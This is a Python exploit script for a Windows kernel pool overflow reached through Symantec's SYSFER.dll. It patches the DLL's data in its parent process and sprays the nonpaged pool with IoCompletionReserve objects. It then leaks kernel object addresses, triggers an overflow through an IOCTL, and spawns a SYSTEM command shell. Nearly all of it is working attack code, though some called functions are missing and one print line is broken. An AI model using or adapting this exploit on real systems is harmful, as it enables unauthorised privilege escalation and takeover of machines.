def signed_to_unsigned(signed):
"""Convert signed to unsigned integer"""
unsigned, = struct.unpack ("L", struct.pack ("l", signed))
return unsigned
def get_type_info (handle):
"""Get the handle type information."""
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
size = DWORD(sizeof(public_object_type_information))
while True:
result = signed_to_unsigned(
ntdll.NtQueryObject(
handle, 2, byref(public_object_type_information), size, None))
if result == STATUS_SUCCESS:
return public_object_type_information.Name.Buffer
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(public_object_type_information, size.value)
elif result == STATUS_INVALID_HANDLE:
return None
else:
raise x_file_handles("NtQueryObject.2", hex (result))
def get_handles():
"""Return all the processes handles in the system atm."""
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof (system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(system_handle_information),
size,
byref(size)
)
result = signed_to_unsigned(result)
if result == STATUS_SUCCESS:
break
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(system_handle_information, size.value)
else:
raise x_file_handles("NtQuerySystemInformation", hex(result))
pHandles = cast(
system_handle_information.Handles,
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
system_handle_information.NumberOfHandles)
)
for handle in pHandles.contents:
yield handle.UniqueProcessId, handle.HandleValue, handle.Object
def getppid(mypid=None, rec=False):
""" Get Parent Process """
pe = PROCESSENTRY32()
pe.dwSize = sizeof(PROCESSENTRY32)
if not mypid:
mypid = kernel32.GetCurrentProcessId()
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
result = 0
try:
have_record = Process32First(snapshot, byref(pe))
while have_record:
if mypid == pe.th32ProcessID:
if rec:
result = getppid(pe.th32ParentProcessID, False)
break
else:
result = pe.th32ParentProcessID
break
have_record = Process32Next(snapshot, byref(pe))
finally:
kernel32.CloseHandle(snapshot)
return result
def getSysFerPointer(phandle):
""" Get child_block and child_block_size variable addresses """
csysfer = create_string_buffer("SYSFER.dll", len("SYSFER.dll"))
hsysfer = kernel32.LoadLibraryA(addressof(csysfer))
if not hsysfer:
print "[-] LoadLibrary Failed!"
sys.exit()
print "[+] SYSFER Base address %s" % hex(hsysfer)
cscb = create_string_buffer("child_block", len("child_block"))
sysfer_child_block = kernel32.GetProcAddress(hsysfer, addressof(cscb))
if not sysfer_child_block:
print "[-] GetProcAddress Failed!"
sys.exit()
print "[+] SYSFER!child_block ptr @ %s" % hex(sysfer_child_block)
cscbs = create_string_buffer("child_block_size", len("child_block_size"))
sysfer_child_block_s = kernel32.GetProcAddress(hsysfer, addressof(cscbs))
if not sysfer_child_block_s:
print "[-] GetProcAddress Failed!"
sys.exit()
print "[+] SYSFER!child_block_size ptr @ %s" % hex(sysfer_child_block_s)
child_block = c_ulong(0)
read = c_ulong(0)
# Read child_block address
res = kernel32.ReadProcessMemory(phandle, sysfer_child_block,
byref(child_block), sizeof(c_ulong),
byref(read))
if res == 0 or res == -1:
print "[-] ReadProcessMemory Failed!"
getLastError()
sys.exit()
# Read child_block_size
child_block_s = c_ulong(0)
res = kernel32.ReadProcessMemory(phandle, sysfer_child_block_s,
byref(child_block_s), sizeof(c_ulong),
byref(read))
if res == 0 or res == -1:
print "[-] ReadProcessMemory Failed!"
getLastError()
sys.exit()
print "[+] SYSFER Pointer retrieved successfully!"
return child_block, child_block_s, sysfer_child_block, sysfer_child_block_s
def craftSysFerData(phandle, sysfer_child_block, sysfer_child_block_s,
evil_child_block, evil_child_block_size):
""" Replace SysFerData to control memcpy source buffer """
wrote = c_ulong(0)
ecb = struct.pack("<L", evil_child_block)
cecb = create_string_buffer(ecb, 0x4)
print "[+] Patching %x with %x" % (sysfer_child_block, evil_child_block)
res = kernel32.WriteProcessMemory(phandle, sysfer_child_block,
addressof(cecb),
0x4,
byref(wrote))
if res == 0 or res == -1:
getLastError()
sys.exit()
ecbs = struct.pack("<L", evil_child_block_size)
csrc = create_string_buffer(ecbs, 0x4)
print "[+] Patching %x with %s" % (sysfer_child_block_s,
hex(evil_child_block_size))
res = kernel32.WriteProcessMemory(phandle, sysfer_child_block_s,
addressof(csrc),
0x4,
byref(wrote))
if res == 0 or res == -1:
getLastError()
sys.exit()
print "[+] SYSFER.DLL patched successfully!"
def allocInput(phandle, evil_child_block_size):
""" Allocate the source buffer in the parent process """
v = kernel32.VirtualAllocEx(phandle,
0x0,
evil_child_block_size,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
def spray():
"""Spray the Kernel Pool with IoCompletionReserve Objects. Each object
is 0x60 bytes in length and is allocated from the Nonpaged kernel pool"""
global handles, done
handles = {}
IO_COMPLETION_OBJECT = 1
for i in range(0, 50000):
hHandle = HANDLE(0)
ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT)
#print "[+] New Object created successfully, handle value: ", hHandle
handles[hHandle.value]=hHandle
print "[+] Spray done!"
def findMemoryWindows():
""" Find all possible windows of 0x480 bytes with a further adjacent
IoCompletionReserve object that we can overwrite.
Finally trigger 0x00222084 to allocate the IOCTL input buffer in one
of the windows. The IOCTL input buffer has been changed to avoid the
overflow at this time, so that we can study the allocations without
BSODing the box"""
global handles, done
mypid = os.getpid()
khandlesd = {}
khandlesl = []
# Leak Kernel Handles
for pid, handle, obj in get_handles():
#print handle, obj
if pid==mypid and get_type_info(handle)=="IoCompletionReserve":
khandlesd[obj] = handle
khandlesl.append(obj)
# Find holes and make our allocation
holes = []
for obj in khandlesl:
# obj address is the handle address, but we want to allocation
# address, so we just remove the size of the object header from it.
# IoCompletionReserve Chunk Header 0x30
alloc = obj-0x30
# Get allocations at beginning of the page
if (alloc&0xfffff000) == alloc:
# find holes
# If we get a KeyError allocations are not adjecient
try:
holes.append( (
khandlesd[obj+0x580],khandlesd[obj+0x520],
khandlesd[obj+0x4c0],khandlesd[obj+0x460],
khandlesd[obj+0x400],khandlesd[obj+0x3a0],
khandlesd[obj+0x340],khandlesd[obj+0x2e0],
khandlesd[obj+0x280],khandlesd[obj+0x220],
khandlesd[obj+0x1c0],khandlesd[obj+0x160],
khandlesd[obj+0x100]) )
print "[+] Hole Window found @ %s" % hex(alloc)
except KeyError:
pass
# Create Memory Windows of 0x480 bytes (0x60*12) ...
print "
# Make our Alloc of 0x480 bytes...
triggerIOCTL()
# trigger code execution
for hole in holes:
kernel32.CloseHandle(handles[ hole[0] ])
# Spawn a system shell
os.system("cmd.exe /T:C0 /K cd C:\\Windows\\system32\\")
done = False
if __name__ == '__main__':
global handles, done
exploit = False
done = True
header()
try:
if sys.argv[1].lower() == 'exploit':
exploit = True
except IndexError:
pass
if not exploit:
print "[+] Patching Input buffer from SYSFER Memory"
phandle = c_ulong()
# Use the following with Pyinstaller (2 parent processes)
# parentpid = getppid(None, True)
# Use the following from python script (parent is cmd.exe)
# 1)
parentpid = getppid(None, False)
print "[+] Parent PID: %d" % parentpid
# 2)
phandle = kernel32.OpenProcess(PROCESS_ALL_ACCESS,
0x0, parentpid)
print "[+] Parent Handle: %d" % phandle
# 3)
child_block,child_block_s,sysfer_child_block,sysfer_child_block_s =\
getSysFerPointer(phandle)
evil_child_block_size = 0x44c # pool overflow and TypeIndex overwrite
# 4)
evil_child_block = allocInput(phandle, evil_child_block_size)
# 5)
craftSysFerData(phandle, sysfer_child_block, sysfer_child_block_s,
evil_child_block, evil_child_block_size)
kernel32.CloseHandle(phandle)
print "[+] NOW RUN %s exploit" % sys.argv[0]
sys.exit()
# 6) Alloc shellcode
allocShellcode()